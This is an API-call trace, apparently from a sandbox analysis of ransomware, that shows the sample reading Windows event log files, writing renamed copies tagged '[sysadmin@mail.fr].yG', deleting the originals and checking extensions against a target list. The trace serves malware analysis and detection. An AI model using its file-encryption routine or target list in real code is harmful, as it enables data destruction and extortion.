	[0047.224] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0047.224] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0047.225] CloseHandle (hObject=0x2e4) returned 1
	[0047.225] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 0x20
	[0047.225] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0047.226] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0047.226] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.226] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.226] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0047.228] GetLastError () returned 0x0
	[0047.228] ReadFile (in: hFile=0x2e4, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0047.315] WriteFile (in: hFile=0x37c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0047.317] ReadFile (in: hFile=0x2e4, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0047.317] WriteFile (in: hFile=0x37c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x134, lpOverlapped=0x0) returned 1
	[0047.317] SetEndOfFile (hFile=0x37c) returned 1
	[0047.317] CloseHandle (hObject=0x37c) returned 1
	[0047.319] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.319] SetEndOfFile (hFile=0x2e4) returned 1
	[0047.320] CloseHandle (hObject=0x2e4) returned 1
	[0047.320] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0047.320] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 1
	[0047.320] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0047.320] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0047.320] lstrlenW (lpString=".doc") returned 4
	[0047.320] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0047.320] lstrlenW (lpString=".docx") returned 5
	[0047.320] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0047.320] lstrlenW (lpString=".pdf") returned 4
	[0047.321] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0047.321] lstrlenW (lpString=".xls") returned 4
	[0047.321] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0047.321] lstrlenW (lpString=".xlsx") returned 5
	[0047.321] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0047.321] lstrlenW (lpString=".ppt") returned 4
	[0047.321] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0047.321] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0047.321] lstrlenW (lpString=".zip") returned 4
	[0047.321] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0047.321] lstrlenW (lpString=".rar") returned 4
	[0047.321] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0047.321] lstrlenW (lpString=".bz2") returned 4
	[0047.321] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0047.321] lstrlenW (lpString=".7z") returned 3
	[0047.321] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0047.321] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0047.321] lstrlenW (lpString=".dbf") returned 4
	[0047.321] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0047.321] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0047.321] lstrlenW (lpString=".1cd") returned 4
	[0047.321] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0047.321] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0047.321] lstrlenW (lpString=".jpg") returned 4
	[0047.321] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0047.321] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0047.321] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0047.321] lstrlenW (lpString=".doc") returned 4
	[0047.321] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0047.321] lstrlenW (lpString=".docx") returned 5
	[0047.321] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0047.321] lstrlenW (lpString=".pdf") returned 4
	[0047.321] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0047.321] lstrlenW (lpString=".xls") returned 4
	[0047.321] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0047.321] lstrlenW (lpString=".xlsx") returned 5
	[0047.321] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0047.321] lstrlenW (lpString=".ppt") returned 4
	[0047.322] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0047.322] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0047.322] lstrlenW (lpString=".zip") returned 4
	[0047.322] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0047.322] lstrlenW (lpString=".rar") returned 4
	[0047.322] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0047.322] lstrlenW (lpString=".bz2") returned 4
	[0047.322] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0047.322] lstrlenW (lpString=".7z") returned 3
	[0047.322] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0047.322] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0047.322] lstrlenW (lpString=".dbf") returned 4
	[0047.322] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0047.322] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0047.322] lstrlenW (lpString=".1cd") returned 4
	[0047.322] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0047.322] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0047.322] lstrlenW (lpString=".jpg") returned 4
	[0047.322] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0047.322] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0047.322] lstrlenW (lpString="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 56
	[0047.322] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0047.322] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0047.322] CloseHandle (hObject=0x2e4) returned 1
	[0047.322] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 0x20
	[0047.323] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0047.323] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0047.323] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.323] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.323] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0047.323] GetLastError () returned 0x0
	[0047.323] ReadFile (in: hFile=0x2e4, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0047.404] WriteFile (in: hFile=0x37c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0047.405] ReadFile (in: hFile=0x2e4, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0047.405] WriteFile (in: hFile=0x37c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x144, lpOverlapped=0x0) returned 1
	[0047.406] SetEndOfFile (hFile=0x37c) returned 1
	[0047.406] CloseHandle (hObject=0x37c) returned 1
	[0047.407] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.407] SetEndOfFile (hFile=0x2e4) returned 1
	[0047.408] CloseHandle (hObject=0x2e4) returned 1
	[0047.408] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0047.409] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 1
	[0047.409] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0047.409] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0047.409] lstrlenW (lpString=".doc") returned 4
	[0047.409] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0047.409] lstrlenW (lpString=".docx") returned 5
	[0047.409] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0047.409] lstrlenW (lpString=".pdf") returned 4
	[0047.409] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0047.409] lstrlenW (lpString=".xls") returned 4
	[0047.409] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0047.409] lstrlenW (lpString=".xlsx") returned 5
	[0047.409] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0047.409] lstrlenW (lpString=".ppt") returned 4
	[0047.409] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0047.409] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0047.409] lstrlenW (lpString=".zip") returned 4
	[0047.409] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0047.409] lstrlenW (lpString=".rar") returned 4
	[0047.409] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0047.409] lstrlenW (lpString=".bz2") returned 4
	[0047.409] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0047.410] lstrlenW (lpString=".7z") returned 3
	[0047.410] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0047.410] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0047.410] lstrlenW (lpString=".dbf") returned 4
	[0047.410] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0047.410] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0047.410] lstrlenW (lpString=".1cd") returned 4
	[0047.410] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0047.410] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0047.410] lstrlenW (lpString=".jpg") returned 4
	[0047.410] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0047.410] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0047.410] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0047.410] lstrlenW (lpString=".doc") returned 4
	[0047.410] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0047.410] lstrlenW (lpString=".docx") returned 5
	[0047.410] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0047.410] lstrlenW (lpString=".pdf") returned 4
	[0047.410] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0047.410] lstrlenW (lpString=".xls") returned 4
	[0047.410] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0047.410] lstrlenW (lpString=".xlsx") returned 5
	[0047.410] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0047.410] lstrlenW (lpString=".ppt") returned 4
	[0047.410] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0047.410] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0047.410] lstrlenW (lpString=".zip") returned 4
	[0047.410] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0047.410] lstrlenW (lpString=".rar") returned 4
	[0047.410] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0047.410] lstrlenW (lpString=".bz2") returned 4
	[0047.410] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0047.410] lstrlenW (lpString=".7z") returned 3
	[0047.410] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0047.410] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0047.410] lstrlenW (lpString=".dbf") returned 4
	[0047.410] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0047.411] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0047.411] lstrlenW (lpString=".1cd") returned 4
	[0047.411] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0047.411] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0047.411] lstrlenW (lpString=".jpg") returned 4
	[0047.411] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0047.411] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0047.411] lstrlenW (lpString="Microsoft-Windows-AppReadiness%4Admin.evtx") returned 42
	[0047.411] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0047.411] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0047.411] CloseHandle (hObject=0x2e4) returned 1
	[0047.411] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 0x20
	[0047.411] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0047.411] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0047.411] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.411] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.411] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0047.412] GetLastError () returned 0x0
	[0047.412] ReadFile (in: hFile=0x2e4, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0047.584] WriteFile (in: hFile=0x37c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0047.586] ReadFile (in: hFile=0x2e4, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0047.586] WriteFile (in: hFile=0x37c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x128, lpOverlapped=0x0) returned 1
	[0047.586] SetEndOfFile (hFile=0x37c) returned 1
	[0047.586] CloseHandle (hObject=0x37c) returned 1
	[0047.588] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.588] SetEndOfFile (hFile=0x2e4) returned 1
	[0047.589] CloseHandle (hObject=0x2e4) returned 1
	[0047.589] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0047.589] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 1
	[0047.590] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0047.590] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0047.590] lstrlenW (lpString=".doc") returned 4
	[0047.590] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0047.590] lstrlenW (lpString=".docx") returned 5
	[0047.590] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0047.590] lstrlenW (lpString=".pdf") returned 4
	[0047.590] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0047.590] lstrlenW (lpString=".xls") returned 4
	[0047.590] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0047.590] lstrlenW (lpString=".xlsx") returned 5
	[0047.590] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0047.590] lstrlenW (lpString=".ppt") returned 4
	[0047.590] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0047.590] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0047.590] lstrlenW (lpString=".zip") returned 4
	[0047.590] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0047.590] lstrlenW (lpString=".rar") returned 4
	[0047.590] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0047.590] lstrlenW (lpString=".bz2") returned 4
	[0047.590] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0047.590] lstrlenW (lpString=".7z") returned 3
	[0047.590] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0047.590] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0047.590] lstrlenW (lpString=".dbf") returned 4
	[0047.590] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0047.590] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0047.590] lstrlenW (lpString=".1cd") returned 4
	[0047.590] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0047.590] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0047.590] lstrlenW (lpString=".jpg") returned 4
	[0047.590] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0047.590] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0047.590] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0047.590] lstrlenW (lpString=".doc") returned 4
	[0047.590] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0047.591] lstrlenW (lpString=".docx") returned 5
	[0047.591] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0047.591] lstrlenW (lpString=".pdf") returned 4
	[0047.591] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0047.591] lstrlenW (lpString=".xls") returned 4
	[0047.591] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0047.591] lstrlenW (lpString=".xlsx") returned 5
	[0047.591] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0047.591] lstrlenW (lpString=".ppt") returned 4
	[0047.591] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0047.591] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0047.591] lstrlenW (lpString=".zip") returned 4
	[0047.591] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0047.591] lstrlenW (lpString=".rar") returned 4
	[0047.591] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0047.591] lstrlenW (lpString=".bz2") returned 4
	[0047.591] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0047.591] lstrlenW (lpString=".7z") returned 3
	[0047.591] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0047.591] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0047.591] lstrlenW (lpString=".dbf") returned 4
	[0047.591] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0047.591] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0047.591] lstrlenW (lpString=".1cd") returned 4
	[0047.591] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0047.591] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0047.591] lstrlenW (lpString=".jpg") returned 4
	[0047.591] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0047.591] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0047.591] lstrlenW (lpString="Microsoft-Windows-AppReadiness%4Operational.evtx") returned 48
	[0047.591] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0047.593] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=1118208) returned 1
	[0047.593] CloseHandle (hObject=0x2f0) returned 1
	[0047.593] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 0x20
	[0047.593] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
